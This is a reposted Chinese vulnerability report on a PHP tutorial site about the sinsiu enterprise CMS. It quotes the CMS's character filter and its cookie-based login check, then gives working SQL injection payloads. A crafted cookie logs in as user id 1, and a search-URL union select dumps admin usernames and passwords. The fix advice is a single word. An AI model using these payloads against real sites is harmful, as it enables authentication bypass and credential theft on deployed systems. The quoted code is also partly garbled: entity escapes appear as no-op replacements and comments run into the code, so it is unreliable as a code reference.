来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] rt详细说明:新秀企业网站系统PHP版是一款简洁易用、方便二次开发的PHP企业网站系统。系统安装时有Mysql和Access两种数据库可供选择;后台功能齐全,操作简便,可扩展性良好,具有较...
|
新秀企业网站系统PHP版是一款简洁易用、方便二次开发的PHP企业网站系统。系统安装时有Mysql和Access两种数据库可供选择;后台功能齐全,操作简便,可扩展性良好,具有较高安全性;前台可设置成同时显示多国语言,适合用于外贸企业建站;系统采用了目前业界著名的PHP模板引擎Smarty,熟悉Smarty的开发人员可以方便、快速地制作出sinsiu模板。
function strict($str)
{
if(S_MAGIC_QUOTES_GPC)
{
$str = stripslashes($str); gpc的话就去掉转义符(故意给我们注入的么。。。)
}
$str = str_replace('<','<',$str);
$str = str_replace('>','>',$str);
$str = str_replace('?','?',$str);
$str = str_replace('%','%',$str);
$str = str_replace(chr(39),''',$str);
$str = str_replace(chr(34),'"',$str);
$str = str_replace(chr(13).chr(10),'<br />',$str);
return $str; /过滤一些字符,可以看到单引号没了
}
function check_user_login()
{
global $user_id;
$username = get_cookie('user_username');
$password = get_cookie('user_password');
if($username != '' && $password != '')
{
$obj = new users();
$obj->set_field('use_id');
$obj->set_where("use_username = '$username'");
$obj->set_where("use_password = '$password'");
$one = $obj->get_one();
if(count($one) !== 0)
{
$user_id = $one['use_id'];
return intval($user_id);
}else{
return 0;
}
}else{
return 0;
}
}
user_username = aa\ ;user_password=or use_id = 1 %23
set_smarty();
load_lang_pack(array($global['channel']));
initial('index');
if(isset($global['key']))
{
$smarty->assign('page_title',rawurldecode($global['key']));
}
$smarty->display('search.php');
?/search/index.html/key-%%27%20union%20select%20adm_username,adm_password,3%20from%20php_admin%23/
Powered by sinsiu 粤ICP备12345678号
修复方案:过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com